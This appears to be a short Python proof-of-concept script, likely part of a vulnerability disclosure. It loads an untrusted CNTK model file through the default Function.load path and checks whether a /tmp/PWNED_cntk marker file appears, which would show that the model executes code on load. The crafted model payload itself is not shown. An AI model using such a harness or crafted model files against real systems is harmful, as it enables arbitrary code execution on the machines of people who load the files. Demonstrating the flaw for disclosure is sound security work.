File size: 564 Bytes
9b18c5a
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
# Load an untrusted CNTK model the normal way. No safe flag. We do not import any
# attacker module. Watch /tmp/PWNED_cntk appear -> the model executed code on load.
import os, cntk as C
m = "model_inject_linux.cntk"
print("marker before:", os.path.exists("/tmp/PWNED_cntk"))
try:
    C.Function.load(m)          # default load path
except Exception as e:
    print("(loader raised after exec, cosmetic):", type(e).__name__)
print("marker after :", os.path.exists("/tmp/PWNED_cntk"))
if os.path.exists("/tmp/PWNED_cntk"):
    print(open("/tmp/PWNED_cntk").read())